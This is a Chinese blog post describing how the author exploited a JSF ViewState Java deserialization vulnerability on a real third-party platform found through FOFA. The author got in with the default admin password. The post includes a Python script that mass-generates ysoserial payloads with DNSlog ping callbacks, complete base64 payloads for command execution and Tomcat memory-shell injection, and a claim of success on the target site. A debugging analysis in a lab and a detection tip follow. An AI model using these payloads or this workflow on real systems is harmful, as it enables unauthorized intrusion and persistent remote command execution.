java反序列化学习-jsf viewstate反序列化漏洞利用

前言

群里有师傅问XXX平台有没有日过,恰好我也是第一次知道这个系统,于是fofa找了一个语法,看了一下。

image

渗透测试

通过关键字搜索,找到该系统的部署手册,知道了默认密码,因此直接就进了后台。这个时候就开始找上传点了,看能不能直接getshell。

反序列化漏洞发现

在某个功能点上进行抓包的时候,突然发现了一个熟悉的数据。

H4sIAAAAAAAAAN...

恰好这玩意之前写过它的解密算法和加密算法脚本,因此一眼看出密文是通过pako算法生成的。因此丢到之前写的脚本进行解密。

image

解密后发现明文里面包含java的关键字,因此察觉出这里可能存在一个代码执行漏洞。

image

于是百度搜了一下和javax.faces.ViewState有关的相关漏洞。

image

发现还真就存在一个反序列化漏洞,于是根据教程复现了一下。

https://blog.csdn.net/weixin_44193247/article/details/122837416

寻找利用链

利用链的寻找,参考的是下面这个链接。

https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/

这里稍微做了一点修改,并将脚本和ysoserial放在一个目录下。

https://github.com/frohoff/ysoserial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print('Generating ' + payload + ' for ' + name + '...')
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"'+'|gzip|base64 -w 0')
result = command.read()
command.close()
if result!= "":
open(name + '_intruder.txt', 'a').write(result + '\n')

generate('Windows', 'cmd.exe /c ping -n 1 win.REPLACE.35247e68.dns.1433.eu.org')

image

利用burpsuiteintruder模块进行探测利用链。

image

漏洞确定存在

由于是使用的ping命令去探测的利用链,因此dnslog的回显,也能证明出可以进行rce了。

image

百度搜了一下相关的漏洞复现和利用文章,发现都是再教你怎么弹计算器、如何以bash或nc的方式进行权限反弹。利用调节都弹苛刻了,不太喜欢,因此就开始找能否写内存马,或者写入webshell的方式。

环境搭建

docker拉环境

https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md

发现有现成的docker环境。

这里拉完docker后,直接将镜像给打包,拿到里面的源码。

(别问为什么不远程调试,问就是不会)

image

image

漏洞环境搭建

然后源码丢到idea,配置好环境后,就直接运行了。

这里为了和目标环境一样,因此jdk设置成了7u21版本,并把lib目录下的依赖全部丢了进去。

image

image

再次本地测试,找到Groovy1CommonsCollections6CommonsCollections3CommonsCollections1jdk7u21等5个利用链可以用。

image

jsf viewstate反序列化漏洞审计

计算器payload

这里以jdk7u21利用链为审计例子

java -jar ysoserial.jar Jdk7u21 "cmd.exe /c calc.exe" | gzip | base64 -w 0 >123456789.txt

1
H4sIAMDdcGMAA4VUTW8bRRh+xq4/YpwmTklC+VKQqJr2MBuRxC2kgrZBUS1Mi5q0lfDBjNcTe9vd2WV2Ntkc6I2fUP4B4kAuvdCqB6SKW8uFE6gVAn5ATxUSFz7eWTs4wgdG9s7M+877zszzPs/sP0Mh1pi/KXYET4zn86anbsnuJRH3N6X5yf/x4zs/n349B6QatdGqof/B+5/f+eL+vZU8+aPdKoDp987DthxlfccNAx4nioe6x0Uk3L7kqfCF4p4yUivh8zT2jcuNFinfkkHkCyPjBvUTN648VPtfL+dRbGCy7amuVOZyEnSkbuBomwJU7EvTIHvaQqXd2TPSDbsyNsi3WhdbKLZdX8Q0nWk17bEd2rbnrFvbWhOFthKBJOch36bRnuqRs9YOExMl5iMdRlIbzyadGyy0d3dG9rU0snf9m1qis40/+PP4bK/39IwFzPoY2XOti/vP5/8olrd+HZrZL4/+evAtuZfxKkNt5czZ+lL97Xq9vrS6ulJfXiqBMUyPjnalc1O6poQ8Q2UzTLQrNzxfMsyNRXIbxFA+5/qe8sy7DPnFU9cZjqwTOGxQwUHOq4kyXiBLqFDSnjTDOcPs4qnm2LK1KqqYrOAFHGU45gZdLlO54LgLrvBdOy5jmnahgctwcnEc1sM5CUBXUh2qmMExm/NFhslNI9xbH4poS3Ts1c4TdxzijkPccQbccTLuOAfccTLuOHpwQOdCJyZWuGZrSI0S5hmK5zIUqjiOcgUv4WW8gRz1GUNRRon+DBM0exN5sgBTXxHKzfuYmql9g9kbd20NMUffPBj9bKJhRI16Rn3h9D28cjdLyVDIEhcjAyaiXYY0/iyzv2Zvn/I08HnG3e1QByPGpwcKtPBwLbd9KjcnmNK9304+Wfh+ev1xDqwJ1jc4cQjI4UqnoXZCVxgvVJeE6vpSEzFJf29Z7R1kE0qFJlvDL/w7HAu89uj3qdnHt7/MIddENZBWcNeFn1gNTB3SABWKlHLE7EWkotqYwrLt//NcUEih9OThd3Of/EBQb6Dih6K7QRULSdITpq9l3A/9bhoNX5Dqbtm+JxY+g/L2qlgV9aWzn+I2yumO/h9EMWpplP4DxbjfO+YEAAA=

首先计算器没毛病

image

调用堆栈分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java.io.EOFException
java.io.ObjectInputStream$BlockDataInputStream.peekByte(ObjectInputStream.java:2596)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1316)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
com.sun.faces.renderkit.ClientSideStateHelper.doGetState(ClientSideStateHelper.java:305)
com.sun.faces.renderkit.ClientSideStateHelper.getState(ClientSideStateHelper.java:244)
com.sun.faces.renderkit.ResponseStateManagerImpl.getState(ResponseStateManagerImpl.java:100)
com.sun.faces.application.view.FaceletViewHandlingStrategy.restoreView(FaceletViewHandlingStrategy.java:534)
com.sun.faces.application.view.MultiViewHandler.restoreView(MultiViewHandler.java:142)
org.ajax4jsf.framework.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:116)
org.ajax4jsf.framework.ajax.AjaxViewHandler.restoreView(AjaxViewHandler.java:150)
com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:192)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:116)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:593)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

image

web.xml中可以看见jsfxhtmlfaces等后缀的请求都是由javax.faces.webapp.FacesServlet来处理的。

image

进入调试模式,并发送数据包,此时可以看见*.xhtml后缀是进入到该FacesServlet中进行处理。

image

调用this.lifecycle.execute(context);

com.sun.faces.lifecycle.LifecycleImpl
`
image

进入到this.phases[i].doPhase(context, this, this.listeners.listIterator());

这里以遍历方式调用com.sun.faces.lifecycle.RestoreViewPhase中的doPhase

image

doPhase中分别加载了responseRestoreViewPhaseApplyRequestValuesPhaseProcessValidationsPhaseUpdateModelValuesPhaseInvokeApplicationPhaseCopyOnWriteArrayList

image

执行到viewHandler.restoreView(facesContext, viewId);

这里是用来获取请求路径中的*.xhtml,用于获取对应位置的viewstate视图
com.sun.faces.application.view.FaceletViewHandlingStrategy.restoreView

image

Object incomingState = rsm.getState(context, viewId);
com.sun.faces.renderkit.ResponseStateManagerImpl.getState
image

执行到this.helper.getState(context, viewId);

com.sun.faces.renderkit.ClientSideStateHelper.getState

image

getStatestateString的值是javax.faces.ViewState,即传入的计算器的payload

else逻辑,并调用了doGetState

image

doGetState中,stateStringbase64解码,然后再gzip解码(即pako算法)。

image

doGetState中,通过ois.readObject(),触发了反序列化。

image

漏洞利用

一开始了,想自己写这段功能的代码,结果由于自己没研究过反序列化漏洞,并且也没研究过内存马,这里也就卡死了很久很久。

后面突然想到前面计算机能打成功的原因是因为我用了ysoserial中的利用链生成的payload

隐约之中好像在哪见过有反序列化工具可以直接生成内存马的payload了。

于是github找了一下,找到了一个符合我现在需求的一个被改造过的ysoserial

https://github.com/su18/ysoserial/

内存马注入

因为ysoserial工具不一样了,所以这里还得探测一下利用链。

脚本还是上面那个,改一下链子所在的列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import base64
payloads = ['AspectJWeaver','BeanShell1','C3P0','C3P02','C3P03','C3P04','C3P092','Click1','Clojure','CommonsBeanutils1','CommonsBeanutils1183NOCC','CommonsBeanutils2','CommonsBeanutils2NOCC','CommonsBeanutils3','CommonsBeanutils3183','CommonsBeanutils4','CommonsCollections1','CommonsCollections10','CommonsCollections11','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','CommonsCollections8','CommonsCollections9','CommonsCollections6Lite','FileUpload1','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JRE8u20','JRMPClient','JRMPClient_Activator','JRMPClient_Obj','JRMPListener','JSON1','JavassistWeld1','Jdk7u21','Jdk7u21variant','Jython1','MozillaRhino1','MozillaRhino2','Myfaces1','Myfaces2','ROME','ROME2','RenderedImage','SignedObject','Spring1','Spring2','Spring3','Vaadin1','Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print('Generating ' + payload + ' for ' + name + '...')
command = os.popen('java -jar ysuserial-0.9-su18-all.jar -g' + payload + ' "' + '-p'+final + '"'+'|gzip|base64 -w 0')
result = command.read()
command.close()
if result!= "":
open(name + '_intruder.txt', 'a').write(result + '\n')

generate('Windows', 'cmd.exe /c ping -n 1 win.REPLACE.bf5kh9.dnslog.cn')

image

这里以CommonsBeanutils2NOCC链子为例,打一个tomcatcmd内存马 .
java -jar ysuserial-0.9-su18-all.jar -g CommonsBeanutils2NOCC -p 'EX-MS-TSMSFromThread-cmd'|gzip|base64 -w 0 > 123456789.txt

1
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

命令执行

添加作者设置的参数。

image

执行whoami,成功回显。

image

然后再目标站点也利用成功。

image

后续

由于那个路由是我在后台的抓数据包的时候看到的,且删cookie后,重定向至登录接口。在我没审计这个漏洞之前,我也以为这个漏洞只能登录后才能利用。

实际上由于所有的jsffacesxhtml后缀都是由javax.faces.webapp.FacesServlet处理的,也就是说,不存在的路由,且后缀只要是这三个,也会被它处理,因此这个漏洞也是前台可利用的。

以我本机情况为例子。

重启服务器后,内存马也就被删除了。

image

此时访问一个不存在的jsf路由。

image

并设置javax.faces.ViewState的值是刚才内存马的payload

可以看见,处理流程也就是反序列化的流程。

image

可以看见内存马是注入成功了的,能正常的命令执行。(这里我是自己编译的反序列化工具,因此路径和参数会变化)

image

那么如何去判断网站是否存在该漏洞?

直接以post方法传入参数javax.faces.ViewState去访问/xxx.jsf/xxx.faces/xxx.xhtml路由。
页面报错,响应码是500,且页面响应内容包含javax.faces.webapp.FacesServlet,就有可能存在这个反序列化漏洞。

参考

https://www.cnblogs.com/nice0e3/p/16205220.html
https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md
https://github.com/su18/ysoserial/blob/master/ReadMe_CN.md

Author: jdr
Link: https://jdr2021.github.io/2022/11/13/java反序列化学习-jsf-viewstate反序列化漏洞利用/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.